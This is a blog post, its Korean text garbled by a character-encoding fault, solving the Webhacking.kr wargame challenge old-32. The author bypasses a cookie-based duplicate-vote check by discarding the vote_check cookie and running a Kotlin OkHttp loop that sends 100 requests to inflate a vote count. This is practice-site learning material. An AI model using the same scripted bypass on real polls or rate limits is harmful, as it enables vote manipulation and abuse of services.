-
Webhacking.kr :: old-32๋ฒSECURITY/Webhacking 2021. 2. 2. 13:38
์ ๋ง ๊ท์ฌ์ด ๋ฌธ์ ๋ค.
์ผ๋จ ๋ค์ด๊ฐ๋ฉด ์ ์ ๋ค๊ณผ vote ๊ฐ ์๋๋ฐ ์ด๋ฆ์ ๋๋ฅด๋ฉด vote ๋๊ณ , ๊ทธ ์ฌ๋์ vote ์๊ฐ ๋์ด๋๋ค.
๊ทผ๋ฐ ํ ๋ฒ vote ํ๋ฉด you already voted ๊ฐ ๋จ๋ฉด์ vote ๊ฐ ์๋๋ค.
cookie ๋ฅผ ์ดํด๋ณด๋, ์ญ์๋ vote_check ๋ผ๋ cookie ๊ฐ ์์์ ์ ์ ์๋ค.
๊ทธ๋์ ์ด๊ฑธ ์ญ์ ํด์ฃผ๋ฉด ๋ค์ vote ํ ์ ์๋ค.
๊ทธ๋ฌ๋.. ์์ ์ ์์ด๋๋ฅผ ์ฐพ์์ ๊ทธ๊ฑธ 100 ๊น์ง ์ฌ๋ฆฌ๋ฉด ๋๋ค. ใ
๊ทผ๋ฐ ์ฟ ํค ์ญ์ -> vote ๋ฅผ 100๋ฒ ๋ฐ๋ณตํ์๋ ๋๋ฌด ๊ท์ฐฎ์์ ์ฝ๋๋ฅผ ์ง๊ธฐ๋ก ํ๋ค.
cookie ์ ํจ๊ป GET Request ๋ฅผ ๋ณด๋ด๋ ๋ฐฉ๋ฒ์ stackoverflow ์์ ์ฐธ๊ณ ํด์ ์์ฑํ์๋ค.
(stackoverflow.com/questions/35743291/add-cookie-to-client-request-okhttp)
(์์ฑ ์ธ์ด๋ kotlin)
fun simpleReq(){ val url : String = "https://webhacking.kr/challenge/code-5/?hit=MY_ID" val cookieName = "PHPSESSID" val cookieValue = MY_COOKIE_VALUE for(i in 1..100){ try { var cookieHelper : OkHttp3CookieHelper = OkHttp3CookieHelper() cookieHelper.setCookie(url, cookieName, cookieValue) val client = OkHttpClient.Builder().cookieJar(cookieHelper.cookieJar()).build() val request = Request.Builder().url(url).build() val response = client.newCall(request).execute() println("successful:: ${response.isSuccessful}") }catch (e: Exception){ e.printStackTrace() } } }
์ด ์ฝ๋๋ฅผ ์คํ์ํค๊ณ ๋ฌธ์ ํ์ด์ง๋ฅผ ์๋ก ๊ณ ์นจํ๋๊น vote ์๊ฐ ๋ง๊ตฌ๋ง๊ตฌ ์ฌ๋ผ๊ฐ๋ค ใ
๊ทธ๋ฆฌ๊ณ ๋ค ๋๋๊ณ ์๋ก๊ณ ์นจํ๋๊น
๊ฐ ๋ณ๋ค~ ๋!
'SECURITY > Webhacking' ์นดํ ๊ณ ๋ฆฌ์ ๋ค๋ฅธ ๊ธ
Webhacking.kr :: old-58๋ฒ (0) 2021.02.02 Webhacking.kr :: old-47๋ฒ (0) 2021.02.02 Webhacking.kr :: old-25๋ฒ (0) 2021.02.02 Webhacking.kr :: old-19๋ฒ (0) 2021.02.02 Webhacking ์นํดํน ๊ณต๋ถํ๊ธฐ :: dreamhack.io, Webhacking.kr ์์ (0) 2021.01.25